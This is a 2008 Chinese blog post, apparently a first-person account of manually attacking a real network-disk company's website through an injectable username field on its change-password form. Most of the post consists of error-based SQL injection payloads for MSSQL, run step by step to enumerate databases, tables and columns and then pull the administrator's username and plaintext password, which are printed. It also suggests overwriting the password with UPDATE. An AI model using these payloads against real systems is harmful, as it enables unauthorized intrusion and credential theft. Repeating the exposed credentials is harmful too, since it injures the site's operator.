对一个大型网络硬盘营业站点的测试

上一篇 / 下一篇  2008-01-24 13:12:36 / 个人分类:网络安全

 晚上,闲来无事,QQ群又吵死..无奈,于是对经常用的网络硬盘的一个网站测试,现在的注入弱点都已经封得不能再封了,没办法,不过逛来逛去,来到了一个提交表单的面前"修改密码"。
本次全为手动,没有用任何工具.

 



 


在用户名中加了一个',返回以下错误
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]字符串 '' AND datediff(hour,ChangeTime,getdate())<=1 AND Succeed=0' 之前有未闭合的引号。

/service/changepass.asp,行 99

nnd,原来是asp+mssql,好,要玩就玩大的.

既然用户名里可以输入,其它三个框都没有必要了,于是在本地搭建一个表单,maxlength="150" size="150",设得长一些,好可以输入语句.

 



首先说明,在mssql数据库中sysdatabase中是默认系统表,包含master、model、msdb、mssqlweb和empdb 5个数据库的项,dbid从1到5是系统的,分别是以上5个项,如果用户新建的话,那么dbid肯定从6开始,那么我们就试试暴出它玩玩.

在用户输入框中输入:
' and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) and '1'='1
返回如下图所值



好的,一个Northwind 库名暴了出来,哎~~要的不是这个,下来依次提交dbid=7,报出了如下图结果:



HOHO
这个是我所要的,因为我把dbid从6到8到试过了,后面都是返回了正常页面,而且当dbid=7的时候,这里的库名和网站的名称是一样的,所以确定为网站的库名。 其中我已经把库名屏蔽,以下用xxxxxxx来表示.............

既然得到了库名,相应的就是要暴出他的表名。OK,依然往下提交。

' and 0<>(select top 1 name from xxxxxxx.dbo.sysobjects where xtype='U') and '1'='1

OK,结果暴出了如下图



哎,得到Email_filts不是我要的,继续提交
'and 0<>(select top 1 name from xxxxxxx.dbo.sysobjects where xtype='U' and name not in('Email_Filts')) and '1'='1
得到'ADDSize_LOG'
继续提交
'and 0<>(select top 1 name from xxxxxxx.dbo.sysobjects where xtype='U' and name not in('Email_Filts','ADDSize_LOG')) and '1'='1
得到'admin',好了,得到他了,应该没有错,HOHO

得到admin这个表,下来就是要表中的值了.

在用户名中提交:
'and 0<>(select count(*) from xxxxxxx.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) and '1'='1



如图得到ID号:1653580929

哈哈,既然有了ID号,这下还不死??
现次提交:
'and 0<>(select top 1 name from xxxxxxx.dbo.syscolumns where id=1653580929) and '1'='1
暴出adminid,不是我要的,继续:
'and 0<>(select top 1 name from xxxxxxx.dbo.syscolumns where id=1653580929 and name not in('adminid')) and '1'='1
暴出adminpass,继续:
'and 0<>(select top 1 name from xxxxxxx.dbo.syscolumns where id=1653580929 and name not in('adminid','adminpass')) and '1'='1
暴出adminuser,再继续:
'and 0<>(select top 1 name from xxxxxxx.dbo.syscolumns where id=1653580929 and name not in('adminid','adminpass','adminuser')) and '1'='1
呵呵,返回正常页面,不用了,一口气暴了3个值够了.

这下有了adminuser和adminpass,是个人都知道是什么吧,这下我们要这2个字段的值.
用最精典的如:user>0来暴

在用户名中输入:
'and 0<>(select adminid from xxxxxxx.dbo.admin where adminuser>1) and '1'='1
如图:



adminuser=liqianlong,啥也不说了

再输入:
'and 0<>(select adminid from xxxxxxx.dbo.admin where adminuser='liqianlong' and adminpass>1) and '1'='1
如图:



adminpass=laoziyanhuifeiyang
晕,密码:老子烟灰飞扬????? 牛!!! 不说啥了,还不加密。如果加密了也没关系,可以用updata来修写他的密码。
弄了半天,一看,网页和数据库不是一个服务器,我昏,玩完,iis记录,ai....我的权限,不是让我用同网段来.......#$#$#$#%$%&^%&

呵呵,这是给新手一个小小手工测试方法,关键在于灵活应用.


TAG: 安全

 

评分:0

我来说两句

显示全部

:loveliness: :handshake :victory: :funk: :time: :kiss: :call: :hug: :lol :'( :Q :L ;P :$ :P :o :@ :D :( :)

我的栏目

日历

« 2009-05-17  
     12
3456789
10111213141516
17181920212223
24252627282930
31      

数据统计

  • 访问量: 227078
  • 日志数: 13190
  • 建立时间: 2008-01-08
  • 更新时间: 2008-08-14

RSS订阅

Open Toolbar